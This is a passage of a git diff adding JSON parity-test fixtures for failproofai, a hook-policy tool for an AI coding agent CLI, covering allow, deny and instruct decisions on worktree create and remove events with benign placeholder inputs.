"/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..41fd001a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5307d67d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..29adba2f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4113bd53 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2096bce5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5adb8d12 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..077bcd94 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e8109910 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..65a1c3cd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5e4bfe32 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6716e0e8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2c146772 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6b881691 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..49f0c84a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e52a5738 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8cdfd343 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f92aeac4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f4b479f3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: 